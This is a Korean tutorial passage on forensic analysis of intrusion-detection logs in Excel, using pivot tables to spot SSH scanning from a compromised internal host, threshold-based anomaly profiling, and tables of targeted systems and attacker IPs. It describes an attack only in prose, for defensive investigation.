      엑셀로 추출한 로그를 분석할 때는 원본 정보가 변경되는 것을 막기 위해 파일을 복사해서 작업하거나 파일에 새로운 시트를 추가하고 복사한 정보를 가공하자.

      분석할 정보가 22번 포트 통신에 대한 내용이기 때문에 나머지 통신에 대해서는 일단 제외 처리한다. 엑셀의 필터 메뉴를 이용해서 22번을 제외하고 모든 숨긴 후 탐지로그를 복사한다.

      그림 SSH 탐지 로그 분석

      도착지 포트(Target Port) 22번 포트에 대해서만 별도로 추출했기 때문에 이제 날짜별로 공격대상이 어떻게 이뤄지는지 살펴 보자.

      날짜와 도착지 IP 컬럼만 선택해서 새로운 시트에 복사하고, 피벗 테이블을 작성한다.

      그림 공격대상 분석

      22번 포트로 통신한 도착지 IP에 대한 현황 정리가 완료 되었다. 하나의 출발지 IP에서 여러 도착지 IP에 접근을 했고, 접근을 시도했던 날짜도 19일에 집중되어 있다.

      19일 날짜에 접속된 통신 내역을 다시 한번 상세하게 살펴본다.

      19일에 발생된 침입탐지 로그만 선택해서 새로운 시트에 복사 한다. 복사한 로그를 다시 한번 피벗 테이블을 이용해서 시간대별 통신한 도착지 IP를 정리한다.

      피벗 테이블을 만드는 방법은 다음 순서로 진행 한다.

      • 피벗 테이블을 생성하고 행 필드에 시간을 끌어서 이동
      • 열 필드에 Target IP를 끌어서 이동
      • 값 필드에 Target IP를 끌어서 이동
      그림 시간대별 통신 분석 1
      그림 시간대별 통신 분석 2

      완성된 테이블을 살펴보자. 새벽 4시를 시작으로 서로 다른 시스템에 1~2회씩 통신이 약 30초에서 1분 간격으로 이뤄졌다.

      이렇게 통신이 발생될 수 있는 유형은 대표적으로 다음 2가지 형태가 있다.

      • 예약된 작업에 의해 정기 점검
      • 스캐닝 프로그램에 의한 네트워크 포트 스캔 시도

      예약된 작업의 경우는 매주 지정 요일이나 매달 지정날짜에 발생하기 때문에 해당되지 않는다. 스캐닝에 의한 접근 시도일 가능 성이 높다. 내부 시스템간에 스캐닝이 발생했다는 것은 출발지 IP가 공격자에 장악됐을 가능성이 매우 높다. 공격에 사용된 내부 시스템을 찾아낸 것이다.

      공격자는 백도어가 설치된 내부 시스템(10.0.0.1)을 경유해 2차 공격을 수행했다.

      사전에 수집했던 로그인 정보를 이용해 단순 스캔이 아닌 시스템 로그인에 성공했고, 접속한 시스템에 공격 스크립트를 실행했다.

      공격자는 공격 스크립트를 통해 하드디스크에 ‘PRINCIPES’ 문자열로 채워서 디스크를 못쓰게 만드는 명령을 실행했다.

      많은 탐지 로그 중에서 이전 대비 급격한 통신 횟수의 변화가 생긴 로그를 의심 행위로 간주했다. 짧은 시간(수초 간격)에 다수의 시스템에 접속한 시스템 로그를 추출했고, 상세 분석을 통해 공격자에 의한 시스템 피해를 확인했다.

      특정 문구가 아닌 횟수 변화를 이용해 공격을 구분하는 방법이 임계치 기반의 분석 방법이다.

      임계치 기반의 상관 분석을 위해서는 기본 프로파일 정보가 필요하다. 프로파일을 정의 하는 방법은 정상 상황을 정의하고 이에 벗어나는 상황을 분리한다.

      앞서 살펴본 예제에서는 정상 상황의 통신은 꾸준하게 통신이 발생한다라는 프로파일을 정의 한 것이다. 이를 기준으로 꾸준하기 않은, 즉 “접속횟수가 이전보다 N배 이상 차이가 나는 것”을 의심스런 통신으로 정의 했다.

      프로파일 정의에 사용될 수 있는 정보

      • 매시간 외부와 주고 받는 최대 트래픽 수치
      • 매일 외부와 주고 받는 최대 트래픽 수치
      • 비업무 시간 외부와 통신하는 내부 시스템 수

      외부로 중요한 데이터가 유출되었다고 가정해 보자. 해당 데이터는 일반적으로 주고 받는 파일보다 매우 큰 파일이라고 했을 때, 아래 그래프와 같이 평상 시 트래픽을 벗어나 급증한 그래프는 해당 가설을 입증하는 데이터가 될 수 있다.

      그림 임계치 기반 분석

      통계학적인 관점에서 접근하는 방법으로 침입탐지시스템 로그를 이용해 다음과 같이 이상 통신에 대한 기준을 정의할 수 있다.

      • 공격자/피해자 분석

      시스템에 이상이 발생하거나 악성코드가 설치된 시점을 기준으로 관련 이벤트를 검색하고 검색한 이벤트를 이용해 공격 대상을 추출한다. 특정 사건이 발생된 시간이 확인되면 이전에 발생한 이벤트를 분석한다. 침해사고가 발생되면 공격자에 대해 역추적하는 과정이다.

      최초 공격을 위해 사전 공격 시점이 언제인지 분석을 하고, 이 후 취약점을 이용해 공격이 성공한 시점을 찾는다.

      예제를 살펴보자. 침입탐지시스템 로그에서 공격을 시도한 IP와 공격자가 사용한 취약점을 분석하는 과정이다.

      피해를 받은 대상 시스템을 구분하기 위해 침입탐지시스템 로그에서 공격 대상별로 이벤트 발생 시간을 목록화 한다. 단순 스캔 시도한 탐지 로그를 제외하고 대상 시스템을 목록화 한다.

      다음 표처럼 대상 시스템 목록과 각각의 대상 시스템이 8월 한달 동안 공격 받았던 취약점 종류(탐지수), 공격자 IP 종류를 목록화 한다.

      대상시스템탐지수공격자IP 종류최초 이벤트 발생 시간최종 이벤트 발생 시간
      타켓시스템1999445502015-08-01 0:002015-08-30 15:00
      타켓시스템2651924332015-08-01 0:002015-08-30 15:00
      타켓시스템37512015-08-01 0:002015-08-30 14:00
      타켓시스템47412015-08-01 0:002015-08-30 14:00
      타켓시스템5987814952015-08-01 0:002015-08-30 15:00
      타켓시스템812842682772015-08-01 0:002015-08-30 15:00
      타켓시스템679122015-08-02 0:002015-08-29 0:00
      타켓시스템910722015-08-03 13:002015-08-27 15:00
      타켓시스템7112015-08-05 15:002015-08-05 15:00
      타켓시스템12712015-08-06 0:002015-08-27 23:00
      타켓시스템101642015-08-06 16:002015-08-29 19:00
      타켓시스템11912015-08-07 19:002015-08-25 10:00
      표 공격 대상 시스템 목록

      반대로 공격을 시도했던 공격자 IP를 목록화 하고, 침해사고 원인을 역추적하는 방법도 있다.

       다음 표는 공격자 IP별로 탐지된 이벤트 종류와 피해 IP 건수를 정리한 결과다.

      공격자 IP탐지수피해IP 종류최초 이벤트 발생 시간최종 이벤트 발생 시간
      공격자1312010-08-02 00:00:002010-08-27 00:00:00
      공격자2312010-08-02 00:00:002010-08-18 00:00:00
      공격자31612010-08-02 12:00:002010-08-25 12:00:00
      공격자4212010-08-03 12:00:002010-08-24 00:00:00
      공격자52612010-08-04 00:00:002010-08-10 12:00:00
      공격자61012010-08-04 12:00:002010-08-27 12:00:00
      공격자7712010-08-05 00:00:002010-08-25 00:00:00
      공격자8212010-08-09 00:00:002010-08-09 12:00:00
      공격자9212010-08-16 17:00:002010-08-16 17:00:00
      공격자10112010-08-17 11:00:002010-08-17 11:00:00
      공격자11612010-08-18 12:00:002010-08-20 00:00:00
      공격자12112010-08-29 00:00:002010-08-29 00:00:00
      표 공격자 IP 목록